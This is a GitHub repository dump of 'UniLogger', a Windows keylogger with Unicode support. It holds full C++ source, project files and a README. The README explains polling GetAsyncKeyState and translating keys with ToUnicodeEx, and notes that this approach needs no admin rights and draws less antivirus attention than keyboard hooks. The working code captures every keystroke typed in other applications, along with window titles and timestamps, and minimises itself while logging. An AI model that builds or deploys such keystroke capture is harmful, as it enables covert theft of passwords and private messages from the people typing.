├── en.ico
├── resource.h
├── UniLogger.rc
├── disabled.bmp
├── enabled.bmp
├── enabled.jpg
├── .gitattributes
├── UniLogger.sln
├── UniLogger.filters
├── .gitignore
├── README.md
├── UniLogger.vcxproj
└── Source.cpp
/en.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/UniLogger/HEAD/en.ico
--------------------------------------------------------------------------------
/resource.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/UniLogger/HEAD/resource.h
--------------------------------------------------------------------------------
/UniLogger.rc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/UniLogger/HEAD/UniLogger.rc
--------------------------------------------------------------------------------
/disabled.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/UniLogger/HEAD/disabled.bmp
--------------------------------------------------------------------------------
/enabled.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/UniLogger/HEAD/enabled.bmp
--------------------------------------------------------------------------------
/enabled.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/UniLogger/HEAD/enabled.jpg
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
4 | # Custom for Visual Studio
5 | *.cs diff=csharp
6 | *.sln merge=union
7 | *.csproj merge=union
8 | *.vbproj merge=union
9 | *.fsproj merge=union
10 | *.dbproj merge=union
11 |
12 | # Standard to msysgit
13 | *.doc diff=astextplain
14 | *.DOC diff=astextplain
15 | *.docx diff=astextplain
16 | *.DOCX diff=astextplain
17 | *.dot diff=astextplain
18 | *.DOT diff=astextplain
19 | *.pdf diff=astextplain
20 | *.PDF diff=astextplain
21 | *.rtf diff=astextplain
22 | *.RTF diff=astextplain
23 |
--------------------------------------------------------------------------------
/UniLogger.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2012
4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UniLogger", "UniLogger.vcxproj", "{0C584847-98F0-415E-BCCB-BE49F53AC9AF}"
5 | EndProject
6 | Global
7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
8 | Debug|Win32 = Debug|Win32
9 | Release|Win32 = Release|Win32
10 | EndGlobalSection
11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
12 | {0C584847-98F0-415E-BCCB-BE49F53AC9AF}.Debug|Win32.ActiveCfg = Debug|Win32
13 | {0C584847-98F0-415E-BCCB-BE49F53AC9AF}.Debug|Win32.Build.0 = Debug|Win32
14 | {0C584847-98F0-415E-BCCB-BE49F53AC9AF}.Release|Win32.ActiveCfg = Release|Win32
15 | {0C584847-98F0-415E-BCCB-BE49F53AC9AF}.Release|Win32.Build.0 = Release|Win32
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/UniLogger.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
23 |
24 | Header Files
25 |
26 |
27 |
28 |
29 | Resource Files
30 |
31 |
32 | Resource Files
33 |
34 |
35 | Resource Files
36 |
37 |
38 |
39 |
40 | Resource Files
41 |
42 |
43 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | #################
2 | ## Eclipse
3 | #################
4 |
5 | *.pydevproject
6 | .project
7 | .metadata
8 | bin/
9 | tmp/
10 | *.tmp
11 | *.bak
12 | *.swp
13 | *~.nib
14 | local.properties
15 | .classpath
16 | .settings/
17 | .loadpath
18 |
19 | # External tool builders
20 | .externalToolBuilders/
21 |
22 | # Locally stored "Eclipse launch configurations"
23 | *.launch
24 |
25 | # CDT-specific
26 | .cproject
27 |
28 | # PDT-specific
29 | .buildpath
30 |
31 |
32 | #################
33 | ## Visual Studio
34 | #################
35 |
36 | ## Ignore Visual Studio temporary files, build results, and
37 | ## files generated by popular Visual Studio add-ons.
38 |
39 | # User-specific files
40 | *.suo
41 | *.user
42 | *.sln.docstates
43 |
44 | # Build results
45 | [Dd]ebug/
46 | [Rr]elease/
47 | *_i.c
48 | *_p.c
49 | *.ilk
50 | *.meta
51 | *.obj
52 | *.pch
53 | *.pdb
54 | *.pgc
55 | *.pgd
56 | *.rsp
57 | *.sbr
58 | *.tlb
59 | *.tli
60 | *.tlh
61 | *.tmp
62 | *.vspscc
63 | .builds
64 | *.dotCover
65 |
66 | ## TODO: If you have NuGet Package Restore enabled, uncomment this
67 | #packages/
68 |
69 | # Visual C++ cache files
70 | ipch/
71 | *.aps
72 | *.ncb
73 | *.opensdf
74 | *.sdf
75 |
76 | # Visual Studio profiler
77 | *.psess
78 | *.vsp
79 |
80 | # ReSharper is a .NET coding add-in
81 | _ReSharper*
82 |
83 | # Installshield output folder
84 | [Ee]xpress
85 |
86 | # DocProject is a documentation generator add-in
87 | DocProject/buildhelp/
88 | DocProject/Help/*.HxT
89 | DocProject/Help/*.HxC
90 | DocProject/Help/*.hhc
91 | DocProject/Help/*.hhk
92 | DocProject/Help/*.hhp
93 | DocProject/Help/Html2
94 | DocProject/Help/html
95 |
96 | # Click-Once directory
97 | publish
98 |
99 | # Others
100 | [Bb]in
101 | [Oo]bj
102 | sql
103 | TestResults
104 | *.Cache
105 | ClientBin
106 | stylecop.*
107 | ~$*
108 | *.dbmdl
109 | Generated_Code #added for RIA/Silverlight projects
110 |
111 | # Backup & report files from converting an old project file to a newer
112 | # Visual Studio version. Backup files are not needed, because we have git ;-)
113 | _UpgradeReport_Files/
114 | Backup*/
115 | UpgradeLog*.XML
116 |
117 |
118 |
119 | ############
120 | ## Windows
121 | ############
122 |
123 | # Windows image file caches
124 | Thumbs.db
125 |
126 | # Folder config file
127 | Desktop.ini
128 |
129 |
130 | #############
131 | ## Python
132 | #############
133 |
134 | *.py[co]
135 |
136 | # Packages
137 | *.egg
138 | *.egg-info
139 | dist
140 | build
141 | eggs
142 | parts
143 | bin
144 | var
145 | sdist
146 | develop-eggs
147 | .installed.cfg
148 |
149 | # Installer logs
150 | pip-log.txt
151 |
152 | # Unit test / coverage reports
153 | .coverage
154 | .tox
155 |
156 | #Translations
157 | *.mo
158 |
159 | #Mr Developer
160 | .mr.developer.cfg
161 |
162 | # Mac crap
163 | .DS_Store
164 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | http://eldeeb.net/wrdprs/?page_id=229
4 |
5 |
6 | UniLogger
7 | =========
8 | A "not-evil" keylogger with Unicode support
9 |
10 |
11 | What?
12 |
13 | UniLogger is a keylogger with unicode support “unlike most of keyloggers out there” it supports logging Hebrew, Arabic, Russian, Chinese et’all … technical details on how I did that is below…
14 | It doesn’t require admin rights to operate “like hook-based keyloggers do”.
15 | Along with keystrokes, It logs time, date, and the name of the active application.
16 |
17 |
18 | Is it evil?
19 |
20 | No, it is not; UniLogger runs in the foreground just like any regular program, it stops logging when you click on it or click the “close” button, … so, and I am talking to you little kid, this program is not going to help you much spying on your friends, go to hackforums for programs to help you do that.
21 |
22 |
23 | Why?
24 |
25 | That other day I discovered that most of the keyloggers do not support Unicode letters, and I couldn’t find a straight forward way to do it in C/C++ … so, when I figured it out, I decided to share my findings with you guys .
26 |
27 |
28 | How?
29 |
30 | There are two common “not the only” ways to log keys:
31 |
32 | Hooking Keyboard “SetWindowsHookEx() & WH_KEYBOARD_LL & WM_CHAR”
33 | This is the most efficient and reliable way to do it, and when the hook will used to process WM_CHAR messages, Windows will do all the heavy lifting and give you the keystroke in its Unicode form directly.
34 | However, it might require elevated privileges, also this method is guaranteed to give you AV’s attention in case you’re trying to avoid that.
35 | GetAsyncKeyState()
36 | The classic way to do it, it works with restricted accounts, yet I have never came across an application that use this method and do the necessary work to log the keystroke in its current language “e.g. if the Arabic character “ش” is pressed, it will log “A” not “ش”
37 | In UniLogger, I used the GetAsyncKeyState() method … the trick I did is I get the language of the window first, then translate that keystroke into the corresponding Unicode letter using the function ToUnicode().
38 |
39 |
40 | How it is done in UniLogger
41 |
42 | Please, give me your attention, this is going to be a rough ride … I learned all the below the hard way!!:
43 |
44 | When a key is pressed, GetAsyncKeyState takes what is called “scanned key”
45 | We need something called “Virtual Key” from the “scanned key” … for that we we use “MapVirtualKeyEx”.
46 | However, “MapVirtualKeyEx” needs something called “keyboard layout” to function … so, we get the keyboard layout using “GetKeyboardLayout”
47 | However!! GetKeyboardLayout requires the “thread” of the window that the key was pressed on, for that we use “GetWindowThreadProcessId”
48 | … however, GetWindowThreadProcessId needs the handle of the process, for that we use GetForegroundWindow().
49 | Finally, we need something called “Keyboard State” … and that’s by using GetKeyboardState() … this one has no “howevers”.
50 | Now we have the following: “ScannedKey, VirtualKey, KeyBoardLayOut, KeyBoardState”
51 | ToUnicodeEx will convert all the above to a unicode character
52 |
53 |
54 |
--------------------------------------------------------------------------------
/UniLogger.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 |
14 | {0C584847-98F0-415E-BCCB-BE49F53AC9AF}
15 | Win32Proj
16 | UniLogger
17 | UniLogger
18 |
19 |
20 |
21 | Application
22 | true
23 | v110
24 | Unicode
25 |
26 |
27 | Application
28 | false
29 | v110
30 | true
31 | Unicode
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 | true
45 |
46 |
47 | false
48 |
49 |
50 |
51 |
52 |
53 | Level3
54 | Disabled
55 | WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions)
56 |
57 |
58 | Windows
59 | true
60 |
61 |
62 |
63 |
64 | Level3
65 |
66 |
67 | MaxSpeed
68 | true
69 | true
70 | WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions)
71 |
72 |
73 | Windows
74 | true
75 | true
76 | true
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
--------------------------------------------------------------------------------
/Source.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include "resource.h"
3 | #include
4 |
5 |
6 | /************************************************
7 | * [UniLogger] *
8 | * A "not-evil" keylogger with Unicode support *
9 | *************************************************
10 | - @SheriefEldeeb
11 | - http://eldeeb.net
12 | - Made in Egypt :)
13 | ************************************************/
14 | /*
15 | Copyright (c) 2013, Sherif Eldeeb "eldeeb.net"
16 | All rights reserved.
17 |
18 | Redistribution and use in source and binary forms, with or without
19 | modification, are permitted provided that the following conditions are met:
20 |
21 | 1. Redistributions of source code must retain the above copyright notice, this
22 | list of conditions and the following disclaimer.
23 | 2. Redistributions in binary form must reproduce the above copyright notice,
24 | this list of conditions and the following disclaimer in the documentation
25 | and/or other materials provided with the distribution.
26 |
27 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
28 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
29 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
30 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
31 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
32 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
33 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
34 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
35 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
36 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
37 |
38 | The views and conclusions contained in the software and documentation are those
39 | of the authors and should not be interpreted as representing official policies,
40 | either expressed or implied, of the FreeBSD Project.
41 | */
42 |
43 | HWND hwnd;
44 | int nBitmap = IDB_BITMAP2;
45 | TCHAR *winText = L"Not Logging...\n\nClick to (start/stop)\n\nhttp://eldeeb.net";
46 |
47 | DWORD nThreadId;
48 | HANDLE hThreadHandle;
49 |
50 | TCHAR window_text[1024] = {0};
51 | TCHAR old_window_text[1024] = {0};
52 | HWND hWindowHandle;
53 | TCHAR wszAppName[1024] = {0};
54 | DWORD dwBytesWritten = 0;
55 | unsigned char header[2] = { 0xFF, 0xFE }; //unicode text file header
56 | HANDLE hFile = INVALID_HANDLE_VALUE;
57 | wchar_t log_file[MAX_PATH] = {0};
58 | SYSTEMTIME LocalTime = {0};
59 |
60 | TCHAR *save_log(void) {
61 | OPENFILENAME ofn = {0};
62 | TCHAR filename[512] = {0};
63 | GetLocalTime(&LocalTime);
64 | _snwprintf((wchar_t*)filename, 511, L"%04d%02d%02d-%02d%02d%02d.log", LocalTime.wYear, LocalTime.wMonth, LocalTime.wDay, LocalTime.wHour, LocalTime.wMinute, LocalTime.wSecond);
65 |
66 | ofn.lStructSize = sizeof(ofn);
67 | ofn.lpstrFilter = L"Log files (*.log)\0*.LOG\0All Files\0*.*\0";
68 | ofn.lpstrFile = filename;
69 | ofn.nMaxFile = sizeof(filename);
70 | ofn.lpstrTitle = L"UniLogger - Select keylog Location";
71 | ofn.Flags = OFN_NONETWORKBUTTON | OFN_OVERWRITEPROMPT | OFN_PATHMUSTEXIST | OFN_LONGNAMES | OFN_EXPLORER | OFN_HIDEREADONLY;
72 | ofn.nFilterIndex = 1;
73 |
74 | if(!GetSaveFileName(&ofn)) exit(1);
75 | TCHAR *buff = (TCHAR*)malloc(512);
76 | ZeroMemory(buff,512);
77 | memcpy(buff,filename,wcslen(filename) * sizeof(TCHAR));
78 | return(buff);
79 | }
80 |
81 | void WriteToFile(TCHAR *wText)
82 | {
83 | hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
84 | WriteFile(hFile, wText, wcslen(wText) * sizeof(wchar_t), &dwBytesWritten, NULL);
85 | CloseHandle(hFile);
86 | }
87 |
88 | void WritesScannedKeyToFile(short sScannedKey)
89 | {
90 | HKL hkl;
91 | DWORD dwThreadId;
92 | DWORD dwProcessId;
93 |
94 | hWindowHandle = GetForegroundWindow();
95 | dwThreadId = GetWindowThreadProcessId(hWindowHandle, &dwProcessId);
96 | BYTE *kState = (BYTE*)malloc(256);
97 | GetKeyboardState(kState);
98 | hkl = GetKeyboardLayout(dwThreadId);
99 | wchar_t UniChar[16] = {0};
100 | //UINT virtualKey = MapVirtualKeyEx((UINT)sScannedKey, MAPVK_VK_TO_CHAR, hkl);
101 | UINT virtualKey = sScannedKey;
102 | ToUnicodeEx(virtualKey, sScannedKey, (BYTE*)kState, UniChar, 16, NULL, hkl);
103 | WriteToFile(UniChar);
104 | free(kState);
105 | }
106 |
107 | DWORD WINAPI logger(void)
108 | {
109 |
110 | wcscpy_s(log_file, save_log());
111 |
112 | hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
113 | WriteFile(hFile, header, 2, &dwBytesWritten, NULL);
114 | CloseHandle(hFile);
115 |
116 | short sScannedKey;
117 | while(1)
118 | {
119 | Sleep((rand() % 10) + 10);
120 | for(sScannedKey=8;sScannedKey<=222;sScannedKey++)
121 | {
122 | if(GetAsyncKeyState(sScannedKey)==-32767)
123 | {
124 | //check window name, has it changed?
125 | hWindowHandle = GetForegroundWindow();
126 | if (hWindowHandle != NULL)
127 | {
128 | if (GetWindowText(hWindowHandle, window_text, 1024) != 0)
129 | {
130 | if (wcscmp(window_text, old_window_text) != 0)
131 | {
132 | hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
133 | GetLocalTime(&LocalTime);
134 | _snwprintf_s(wszAppName, 1023, L"\n\n%04d/%02d/%02d %02d:%02d:%02d - {%s}\n", LocalTime.wYear, LocalTime.wMonth, LocalTime.wDay, LocalTime.wHour, LocalTime.wMinute, LocalTime.wSecond,window_text);
135 | WriteFile(hFile, wszAppName, wcslen(wszAppName) * sizeof(wchar_t), &dwBytesWritten, NULL);
136 | wcscpy_s(old_window_text, window_text);
137 | CloseHandle(hFile);
138 | }
139 | }
140 | }
141 |
142 | // end of window name & title check.
143 |
144 | if(true)
145 | {
146 | if((sScannedKey>=39)&&(sScannedKey<91))
147 | {
148 | WritesScannedKeyToFile(sScannedKey);
149 | break;
150 | }
151 | else
152 | {
153 | switch(sScannedKey)
154 | {
155 | //http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
156 | case VK_SPACE:
157 | WriteToFile(L" ");
158 | break;
159 | case VK_SHIFT:
160 | WriteToFile(L"[SHIFT]");
161 | break;
162 | case VK_RETURN:
163 | WriteToFile(L"[ENTER]");
164 | break;
165 | case VK_BACK:
166 | WriteToFile(L"[BACKSPACE]");
167 | break;
168 | case VK_TAB:
169 | WriteToFile(L"[TAB]");
170 | break;
171 | case VK_CONTROL:
172 | WriteToFile(L"[CTRL]");
173 | break;
174 | case VK_DELETE:
175 | WriteToFile(L"[DEL]");
176 | break;
177 | case VK_OEM_1:
178 | //WriteToFile(L"[;:]");
179 | WritesScannedKeyToFile(VK_OEM_1);
180 | break;
181 | case VK_OEM_2:
182 | //WriteToFile(L"[/?]");
183 | WritesScannedKeyToFile(VK_OEM_2);
184 | break;
185 | case VK_OEM_3:
186 | //WriteToFile(L"[`~]");
187 | WritesScannedKeyToFile(VK_OEM_3);
188 | break;
189 | case VK_OEM_4:
190 | //WriteToFile(L"[ [{ ]");
191 | WritesScannedKeyToFile(VK_OEM_4);
192 | break;
193 | case VK_OEM_5:
194 | //WriteToFile(L"[\\|]");
195 | WritesScannedKeyToFile(VK_OEM_5);
196 | break;
197 | case VK_OEM_6:
198 | //WriteToFile(L"[ ]} ]");
199 | WritesScannedKeyToFile(VK_OEM_6);
200 | break;
201 | case VK_OEM_7:
202 | //WriteToFile(L"['\"]");
203 | WritesScannedKeyToFile(VK_OEM_7);
204 | break;
205 | case VK_OEM_PLUS:
206 | WriteToFile(L"+");
207 | break;
208 | case VK_OEM_COMMA:
209 | //WriteToFile(L",");
210 | WritesScannedKeyToFile(VK_OEM_COMMA);
211 | break;
212 | case VK_OEM_MINUS:
213 | WriteToFile(L"-");
214 | break;
215 | case VK_OEM_PERIOD:
216 | //WriteToFile(L".");
217 | WritesScannedKeyToFile(VK_OEM_PERIOD);
218 | break;
219 | case VK_NUMPAD0:
220 | WriteToFile(L"0");
221 | break;
222 | case VK_NUMPAD1:
223 | WriteToFile(L"1");
224 | break;
225 | case VK_NUMPAD2:
226 | WriteToFile(L"2");
227 | break;
228 | case VK_NUMPAD3:
229 | WriteToFile(L"3");
230 | break;
231 | case VK_NUMPAD4:
232 | WriteToFile(L"4");
233 | break;
234 | case VK_NUMPAD5:
235 | WriteToFile(L"5");
236 | break;
237 | case VK_NUMPAD6:
238 | WriteToFile(L"6");
239 | break;
240 | case VK_NUMPAD7:
241 | WriteToFile(L"7");
242 | break;
243 | case VK_NUMPAD8:
244 | WriteToFile(L"8");
245 | break;
246 | case VK_NUMPAD9:
247 | WriteToFile(L"9");
248 | break;
249 | case VK_CAPITAL:
250 | WriteToFile(L"[CAPS LOCK]");
251 | break;
252 | case VK_PRIOR:
253 | WriteToFile(L"[PAGE UP]");
254 | break;
255 | case VK_NEXT:
256 | WriteToFile(L"[PAGE DOWN]");
257 | break;
258 | case VK_END:
259 | WriteToFile(L"[END]");
260 | break;
261 | case VK_HOME:
262 | WriteToFile(L"[HOME]");
263 | break;
264 | case VK_LWIN:
265 | WriteToFile(L"[WIN]");
266 | break;
267 | case VK_RWIN:
268 | WriteToFile(L"[WIN]");
269 | break;
270 | case VK_VOLUME_MUTE:
271 | WriteToFile(L"[SOUND-MUTE]");
272 | break;
273 | case VK_VOLUME_DOWN:
274 | WriteToFile(L"[SOUND-DOWN]");
275 | break;
276 | case VK_VOLUME_UP:
277 | WriteToFile(L"[SOUND-DOWN]");
278 | break;
279 | case VK_MEDIA_PLAY_PAUSE:
280 | WriteToFile(L"[MEDIA-PLAY/PAUSE]");
281 | break;
282 | case VK_MEDIA_STOP:
283 | WriteToFile(L"[MEDIA-STOP]");
284 | break;
285 | case VK_MENU:
286 | WriteToFile(L"[ALT]");
287 | break;
288 | default:
289 |
290 | break;
291 | }
292 | }
293 | }
294 | }
295 | }
296 |
297 | }
298 | return EXIT_SUCCESS;
299 | }
300 |
301 | LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wparam, LPARAM lparam )
302 | {
303 | switch(message)
304 | {
305 | case WM_PAINT:
306 | {
307 | HDC hdc;
308 | HDC hMemDC;
309 | PAINTSTRUCT ps;
310 | HBITMAP hBitmapS;
311 | RECT rect;
312 |
313 | hdc = BeginPaint( hwnd, &ps );
314 | //image
315 | hBitmapS = LoadBitmap(GetModuleHandle(NULL), MAKEINTRESOURCE(nBitmap));
316 | hMemDC = CreateCompatibleDC(hdc);
317 | SelectObject(hMemDC, hBitmapS);
318 | BitBlt(hdc,10,10,121,106,hMemDC,0,0,SRCCOPY);
319 | //text
320 | GetClientRect(hwnd, &rect);
321 | rect.left = (rect.right / 2) - 40;
322 | rect.top = rect.top + 10;
323 | DrawText(hdc, winText, -1, &rect, DT_CENTER | DT_END_ELLIPSIS );
324 |
325 | //cleanuop
326 | DeleteDC(hMemDC);
327 | EndPaint( hwnd, &ps );
328 | }
329 | return 0;
330 | break;
331 |
332 | case WM_LBUTTONDOWN:
333 | if (nBitmap == IDB_BITMAP1) {
334 | nBitmap = IDB_BITMAP2;
335 | winText = L"Not Logging...\n\nClick to (start/stop)\n\nhttp://eldeeb.net";
336 | CloseHandle(hThreadHandle);
337 |
338 | }
339 | else if (nBitmap == IDB_BITMAP2) {
340 | nBitmap = IDB_BITMAP1;
341 | winText = L"Logging!\n\nClick to (start/stop)\n\nhttp://eldeeb.net";
342 | hThreadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)logger, NULL, NULL, &nThreadId);
343 | ShowWindow(hwnd, SW_MINIMIZE);
344 | }
345 | InvalidateRect(hwnd,NULL, true);
346 | return 0;
347 | break;
348 |
349 | case WM_DESTROY:
350 | PostQuitMessage( 0 ) ;
351 | return 0;
352 | break;
353 |
354 | }
355 | return DefWindowProc(hwnd, message, wparam, lparam);
356 | }
357 |
358 | int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR szCmdLine, int iCmdShow)
359 | {
360 | srand(GetTickCount());
361 | //
362 | WNDCLASSEX wcx = {0};
363 | wcx.cbSize = sizeof(WNDCLASSEX);
364 | wcx.hbrBackground = (HBRUSH)GetStockObject( WHITE_BRUSH );
365 | wcx.hCursor = LoadCursor( NULL, IDC_ARROW );
366 | wcx.hIcon = LoadIcon( GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ICON1));
367 | wcx.hInstance = hInstance;
368 | wcx.lpfnWndProc = WndProc;
369 | wcx.lpszClassName = TEXT("UniLogger");
370 | wcx.lpszMenuName = TEXT("Menu"); // no menu - ignore
371 | wcx.style = CS_HREDRAW | CS_VREDRAW; // Redraw the window
372 | wcx.hIconSm = LoadIcon( GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ICON1));
373 | //
374 | RegisterClassEx(&wcx);
375 | //
376 | hwnd = CreateWindow(TEXT("UniLogger"),TEXT("UniLogger!"),
377 | (WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX),
378 | CW_USEDEFAULT, CW_USEDEFAULT, 350, 170, NULL, NULL, hInstance, NULL );
379 | ShowWindow(hwnd, iCmdShow);
380 | UpdateWindow(hwnd);
381 | MSG msg;
382 | while( GetMessage( &msg, NULL, 0, 0 ) )
383 | {
384 | TranslateMessage( &msg );
385 | DispatchMessage( &msg );
386 | }
387 | return msg.wParam;
388 | }
389 |
390 |
--------------------------------------------------------------------------------